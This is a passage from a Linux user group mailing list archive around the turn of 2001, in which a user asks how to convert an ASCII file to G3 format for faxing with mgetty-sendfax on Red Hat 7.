a good read. > And the free CD had some interesting downloads. > Manuel. > > __________________________________________________ > Do You Yahoo!? > Yahoo! Photos - Share your holiday photos online! > http://photos.yahoo.com/ > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From johndmiller at mn.mediaone.net Sun Dec 31 21:22:07 2000 From: johndmiller at mn.mediaone.net (John Miller) Date: Mon Jan 17 13:14:18 2005 Subject: [TCLUG] mgetty-sendfax/viewfax Message-ID: <4.3.2.7.0.20001231211458.00b66150@pop.mn.mediaone.net> I would like to and the vgetty voice mail to my RH7 system. Mgetty, sendfax, viewfax, and voice are all installed. I was not have a lot of luck with the voice part so I decided to try the fax part. I understand the the software wants the file to be in g3 format for sending. What is the easiest way to go from say an ascii file to a g3 file. I have looked at netpbm and have installed it but I have now clue what to do with it. Is there easier software out there? John